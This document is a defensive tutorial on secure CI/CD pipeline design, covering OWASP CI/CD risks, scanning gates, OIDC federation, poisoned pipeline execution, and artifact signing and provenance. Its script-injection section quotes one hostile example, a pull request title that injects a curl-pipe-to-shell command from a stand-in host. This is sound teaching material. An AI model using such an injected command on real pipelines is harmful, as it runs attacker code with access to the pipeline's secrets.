BYOWBuild Your Own Workflow

Part 1 · Platform-neutral

Secure SDLC foundations

What a secure pipeline has to defend against, which gates belong where, and how identity, signing and provenance fit together. Read this once; the platform tutorials assume it.

~25 min read OWASP Top 10 CI/CD NIST SSDF SLSA v1

From SDLC phases to pipeline controls

A secure software development lifecycle puts a security activity in every phase. A CI/CD pipeline is where most of those activities become automatic: the pipeline runs them on every change, records the result, and refuses to continue when one fails. The table maps each phase to what goes wrong, the control that stops it, and where that control runs.

PhaseWhat goes wrongControlRuns in
Plan & designInsecure design, missing requirementsThreat model, security requirements, design reviewOutside the pipeline
CodeSecrets committed, unsafe patternsPre-commit hooks, IDE scanners, push protectionWorkstation, Git server
ReviewVulnerable or malicious change mergedBranch protection, code owners, SAST, SCA, IaC scanPull/merge request pipeline
BuildTampered build, poisoned dependencyEphemeral runners, pinned dependencies, least-privilege tokensCI
TestVulnerable artifactUnit and integration tests, image scan, license policyCI
ReleaseUnverifiable artifactSBOM, signature, build provenanceCI to registry
DeployUnauthorized or wrong artifact deployedEnvironment approvals, OIDC, signature verificationCD
OperateNew CVEs in running softwareScheduled rescans, dependency alerts, DAST, audit logsScheduled jobs, monitoring

If you need to show compliance, NIST's Secure Software Development Framework (SP 800-218) groups the same practices into four families: PO prepare the organization, PS protect the software, PW produce well-secured software, and RV respond to vulnerabilities. Pipeline settings and pinning cover PS; scanners and review cover PW; scheduled rescans and alerting cover RV.

Threat model: the OWASP Top 10 CI/CD risks

The OWASP Top 10 CI/CD Security Risks list is the clearest threat model for a pipeline. Every control in the platform tutorials answers one of these ten.

IDRiskWhat it looks likePrimary control
CICD-SEC-1Insufficient flow controlOne person can push code that reaches production with no review or check.Protected branches, required reviews and checks, deployment approvals
CICD-SEC-2Inadequate identity and access managementStale accounts, shared admin users, personal tokens with full scope.SSO, least privilege, access reviews, short-lived tokens
CICD-SEC-3Dependency chain abuseDependency confusion, typosquatted packages, hijacked maintainer accounts.Lockfiles, scoped private registries, SCA, update cooldowns
CICD-SEC-4Poisoned pipeline execution (PPE)A pull request edits the pipeline file or a script it runs, and the change executes with secrets.No secrets for PR builds, protected pipeline files, required templates
CICD-SEC-5Insufficient pipeline-based access controlsEvery job can read every secret and reach every environment.Per-job permissions, environment-scoped secrets, separate runners
CICD-SEC-6Insufficient credential hygieneLong-lived cloud keys in variables, secrets printed to logs.OIDC federation, vaults, masking, push protection, rotation
CICD-SEC-7Insecure system configurationDefault settings, unpatched self-hosted runners reused between jobs.Hardened org settings, ephemeral runners, patching
CICD-SEC-8Ungoverned use of third-party servicesMarketplace actions and OAuth apps with broad access nobody reviewed.Allowlists, SHA pinning, periodic review of grants
CICD-SEC-9Improper artifact integrity validationDeploy picks up whatever image has the tag latest.Sign and attest, deploy by digest, verify before deploy
CICD-SEC-10Insufficient logging and visibilityNo record of who changed a pipeline or approved a deploy.Audit log streaming, retained pipeline logs, alerting

The security gates

A gate is a check that stops the pipeline when it fails. The catalog below lists each gate, where it belongs, what should make it fail, and what each platform offers natively. Paid features are marked: GitHub and Azure DevOps sell Secret Protection and Code Security separately, and most GitLab security features need Ultimate.

GateFindsRuns atFails whenNative optionsOpen-source options
Secret scanningAPI keys, tokens, private keys in code and historyPre-commit, push, PR, scheduled full-history scanAny verified secretGitHub and Azure DevOps Secret Protection with push protection; GitLab secret push protection and Secret Detectiongitleaks, TruffleHog
SASTInjection, unsafe APIs, crypto misuse in your codePR, default branchNew critical or high findingCodeQL (GitHub Code Security, and in Azure DevOps Code Security); GitLab SASTSemgrep CE, CodeQL CLI for open-source repos
SCAKnown-vulnerable or malicious dependencies, licensesPR (diff only), scheduledNew critical or high with a fix; denied licenseDependency review and Dependabot; Advanced Security dependency scanning; GitLab dependency scanning (Ultimate)OSV-Scanner, Trivy fs
IaC scanningMisconfigured Terraform, Bicep, Kubernetes, DockerfilesPRCritical or high misconfigurationGitLab SAST-IaC; others via SARIF uploadCheckov, Trivy config, KICS
Container scanningOS and language CVEs inside the imageAfter build, before push or release; scheduledFixable critical or highGitLab Container Scanning; others via SARIF uploadTrivy, Grype
Pipeline lintScript injection, risky triggers, excessive permissions in pipeline filesPR that changes pipeline filesAny injection findingCodeQL actions language for GitHubzizmor, actionlint, poutine
SBOMInventory of every component in the artifactBuildMissing SBOM blocks releaseGitHub SBOM attestations; GitLab CycloneDX reportsSyft, cdxgen, Microsoft sbom-tool
Signature and provenanceArtifacts not built by your pipelineRelease, and verified at deployMissing or invalid signature at deployGitHub artifact attestations; Notation with Azure Key Vault; Sigstore keyless signing with GitLab ID tokenscosign, Notation
DASTRuntime issues: auth flaws, headers, injectionStaging, after deployHigh finding on the changed surfaceGitLab DAST (Ultimate)ZAP

Where to put scans

Run fast, diff-aware scans (secrets, SAST, SCA, IaC) on every pull request so authors get feedback before merge. Run artifact scans (image, SBOM, signing) once per build on the default branch. Run full rescans on a schedule, because new CVEs are published against code that has not changed.

Gate thresholds and exceptions

A gate that blocks on every medium finding gets disabled within a month. A gate that never blocks is a report. Start with a policy that blocks new, serious, fixable risk and tracks everything else. This is a common starting point; tune it to your risk appetite.

SeverityPull requestDefault branch / releaseFix within
CriticalBlock mergeBlock release7 days
HighBlock if a fix existsBlock if fixable30 days
MediumCommentTrack90 days
Low / infoReport onlyTrackBest effort

Rules for exceptions

  • Gate on new findings. Existing findings go to a backlog with owners, so turning a gate on does not stop all delivery on day one.
  • Every exception has an ID, reason, owner and expiry date. Use the scanner's own mechanism so the exception is versioned and reviewed: CodeQL dismissal reasons, GitLab vulnerability dismissal reasons, or a Trivy ignore file.
  • Exceptions are reviewed by code owners. Put ignore files under the same code-owner rule as pipeline files.
.trivyignore.yamlyaml
# Each exception says why, who owns it, and when it stops applying.
vulnerabilities:
  - id: CVE-2026-12345              # example entry
    paths:
      - "usr/lib/libexample.so.3"
    statement: "Not reachable: TLS renegotiation disabled. Owner: @payments-team (SEC-412)"
    expired_at: 2026-12-31

Identity: replace stored secrets with OIDC

The biggest single improvement to most pipelines is removing long-lived cloud credentials. With OpenID Connect workload identity federation, the CI platform signs a short-lived token that describes the job, and the cloud exchanges it for an access token only if the job matches a trust rule you wrote.

  1. CI jobRequests an ID tokenThe job asks the platform's OIDC issuer for a signed JWT with a specific audience.
  2. CI platformSigns the claimsRepository or project, branch, environment and pipeline go into the token's claims.
  3. CI jobPresents it to the cloudEntra ID, AWS STS, Google Cloud or Vault receives the token.
  4. CloudChecks the trust ruleIssuer, audience and subject must match the federated credential exactly.
  5. CloudReturns a short-lived tokenValid for minutes to an hour. Nothing is stored, so nothing can leak later.
PlatformIssuerSubject to trust (example)How the job gets a token
GitHub Actionshttps://token.actions.githubusercontent.comrepo:contoso/payments-api:environment:productionpermissions: id-token: write
Azure DevOpsCreated for you on the service connectionOne federated credential per service connectionAzure Resource Manager service connection using workload identity federation
GitLab CI/CDhttps://gitlab.com or your instance URLproject_path:contoso/payments-api:ref_type:branch:ref:mainid_tokens: with an aud

Watch out

  • Never trust a wildcard subject such as a whole organization. Bind the production identity to one repository and the protected environment or branch.
  • Use separate identities for build and deploy. The build identity can push to a registry; only the deploy identity can change production.
  • Pull request jobs should not be able to obtain the deploy identity at all.

Untrusted input and poisoned pipelines

Anything a contributor controls is untrusted input: the code in a pull request, the pipeline file in that pull request, scripts the pipeline calls, and even the PR title, branch name and commit message. Three attack patterns cover most real incidents.

Direct PPE

Edit the pipeline file

The pull request changes the CI file to print secrets or call out to the internet. If PR builds run with secrets, the attacker has them.

Control: no secrets or write tokens in PR builds; approval before running fork PRs; code owners on pipeline files.

Indirect PPE

Edit what the pipeline runs

The pipeline file is protected, but it calls make, npm test or a shell script that the PR can change.

Control: the same isolation as direct PPE; install with lifecycle scripts disabled; run trusted logic from a protected template.

Script injection

Smuggle shell through metadata

A PR titled "; curl evil.sh | sh; # lands inside a run script through template expansion and executes.

Control: pass untrusted values through environment variables and quote them; never expand them into script text.

The same mistake has a different spelling on each platform. On GitHub it is ${{ github.event.pull_request.title }} inside run:. On Azure DevOps it is a macro such as $(System.PullRequest.SourceBranch) inside script:, because macros are substituted into the script text before it runs. On GitLab the shell expands $CI_MERGE_REQUEST_TITLE at run time, which is safe when quoted and dangerous inside eval or a generated script. The platform pages show the fix for each.

Artifact integrity: SBOM, signatures and provenance

Scanning tells you an artifact looked safe when it was built. Integrity controls let the deploy step prove that the artifact it is about to run is that same artifact, built by your pipeline from your source.

What is inside

SBOM

A machine-readable list of every package in the artifact, in SPDX or CycloneDX format. Generate it from the built image, not only from the lockfile, and keep it with the artifact. When the next major CVE lands, an SBOM search answers "are we affected?" in minutes.

Who built it

Signature

Sign the image digest, never a tag. Keyless signing (Sigstore) binds a short-lived certificate to the CI job's OIDC identity and records it in a public transparency log. Key-based signing (Notation or cosign with a cloud KMS key) suits private registries and regulated environments.

How it was built

Provenance

A signed statement of which source commit, pipeline and builder produced the artifact. SLSA defines how trustworthy that statement is. Verify it before deploy, and in Kubernetes enforce it with an admission controller such as Kyverno or Ratify.

SLSA build track levels

LevelRequirementHow you get there
Build L1Provenance exists and describes how the artifact was built.Any pipeline that emits a provenance document.
Build L2A hosted build platform generates and signs the provenance.GitHub artifact attestations from a hosted runner.
Build L3The build platform is hardened: runs are isolated and the provenance cannot be forged by the build's own steps.Signing from an isolated, centrally owned build definition, such as a GitHub reusable workflow.

Rollout plan

Turning everything on at once floods teams with findings. This order delivers the largest risk reduction first and keeps pipelines green while gates mature.

  1. See what you have. Inventory pipelines, stored secrets, service connections and self-hosted runners. Turn on secret scanning with push protection; it has almost no false positives and stops the most common incident.
  2. Lock the platform. Set default token permissions to read-only, restrict allowed actions or tasks, protect default branches, and put pipeline files under code owners.
  3. Remove stored cloud credentials. Move deploys to OIDC federation and delete the old keys.
  4. Add scanners in report-only mode. Run SAST, SCA and IaC scans for two to four weeks, tune rules, and baseline existing findings.
  5. Make gates block. Fail pull requests on new critical and fixable high findings, using the threshold table above.
  6. Prove integrity. Add SBOM, signing and provenance, verify them at deploy, and schedule rescans.
  7. Centralize. Move the security stages into shared templates or policies so every repository inherits them and teams cannot opt out.

References

Next: pick a platform. GitHub Actions · Azure DevOps · GitLab CI/CD